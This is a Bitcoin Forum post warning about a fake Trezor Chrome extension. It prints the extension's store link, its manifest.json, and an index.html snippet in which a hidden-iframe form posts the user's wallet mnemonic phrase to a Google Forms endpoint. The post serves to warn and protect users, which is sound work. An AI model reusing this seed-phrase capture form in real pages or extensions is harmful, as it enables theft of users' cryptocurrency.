Print Page - Trezor fake Chrome extension

Last week I created this thread: Ledger Live fake Chrome extensions (https://bitcointalk.org/index.php?topic=5234767.0), and some of them have been taken down already. However, scammers shifted their attention to Trezor now (same bad actors), and has been downloaded 33 times already. So someone has fallen for the trick already.

https://talkimg.com/images/2023/10/19/Rb5Lw.png

Actual images in Chrome Web Store

Extensions:

Code:

https://chrome.google.com/webstore/detail/trezor/dkhcmjfipgoapjamnngolidbcakpdhgf

Archive: http://web.archive.org/save/https://chrome.google.com/webstore/detail/trezor/dkhcmjfipgoapjamnngolidbcakpdhgf

Looking closely at the code, once you enter you seed or mnemonic phrase it will be posted to:

Code:

https://docs.google.com/forms/d/e/1FAIpQLSc1DTYAqXYnGTaUH0AIJa-rC2lk7V5nsE6tEdGIKXTKNm36HQ

Snippet of the actual code, Index.html

Code:

  <div class="wrapper">
      <form id="form" action="https://docs.google.com/forms/d/e/1FAIpQLSc1DTYAqXYnGTaUH0AIJa-rC2lk7V5nsE6tEdGIKXTKNm36HQ/formResponse" method="post" target="hidden_iframe" autocomplete="off"> 

        <iframe name="hidden_iframe" id="hidden_iframe" style="display:none;"></iframe> 

      <div class="row">
        <input id="Field" name="entry.1957119181" placeholder="Please enter your mnemonic phrase, with one space between each word to restore a previously created wallet." type="text" required> 
      </div>

and manifest.json

Code:

{
   "browser_action": {
      "default_icon": {
         "256": "icons/icon-256.png"
      },
      "default_popup": "index.html",
      "default_title": "Trezor"
   },
   "description": "Manage your Trezor Model T or Trezor Model One",
   "icons": {
      "128": "icons/icon-128.png",
      "16": "icons/icon-16.png",
      "32": "icons/icon-32.png",
      "64": "icons/icon-64.png"
   },
   "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv8CKg8/A94UadtWvh7bd0F3jtGkcYFXCmm1TWrNa9VCKpNV8VkHFtNsM/feGt1U4jFsAXthO5qkL92TZ8luT9fpM5ntukMfE1R7Uj7DTpobixRsNNI0MM72hWIoeH/4aD6cwN60SWLsg2jjQua/oX2BKN2ZmQmXCm7nepR30RcxNiRwKSU6gUfZIUIW+CXpGMQWaQgASOInq9pxEzfh7jWJlOt8f7b4Jfp3v5RY0JLidRK0vI41psCuMc6+QvmnA7L3arNWZ7YJ4y4PmkKTlmKt4Oe+8HkNhZU4/7BaBJNntxu32rB6naovhE3Ed/jmu1T/12iArJQ9brWS44VmXFwIDAQAB",
   "manifest_version": 2,
   "name": "Trezor",
   "update_url": "https://clients2.google.com/service/update2/crx",
   "version": "2.3.9"
}

I'm expecting more Trezor chrome extension to pop up in the next coming days, I will keep this thread updated if I find more and everyone should be careful.

Bitcoin Forum

Other => Beginners & Help => Topic started by: TravelMug on March 28, 2020, 01:05:48 AM